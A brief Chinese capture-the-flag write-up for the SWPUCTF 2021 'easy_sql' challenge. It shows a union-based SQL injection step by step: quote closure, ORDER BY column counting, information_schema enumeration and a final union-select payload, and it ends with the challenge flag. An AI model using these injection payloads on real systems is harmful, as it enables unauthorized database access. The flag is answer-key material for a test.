[SWPUCTF 2021 新生赛]easy_sql

该题与sql-labs中的第一题是一致的,首先判断其闭合类型,可以简单判断得知,为  '型的字符型,

其次,使用判断order by 判断表的列数:

 

 判断为3列,

接下来判断数据库类型,使用database(),

数据库类型为test_db .

使用group_concat(table_name) from information_schema.tables where table_schema='test_db'

再使用 group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'--+

最后使用?wllm=-1' union select 1,group_concat(flag),3 from test_tb--+,获取flag

NSSCTF{cacdc4cd-4c10-4c2d-842e-3a679588fae0}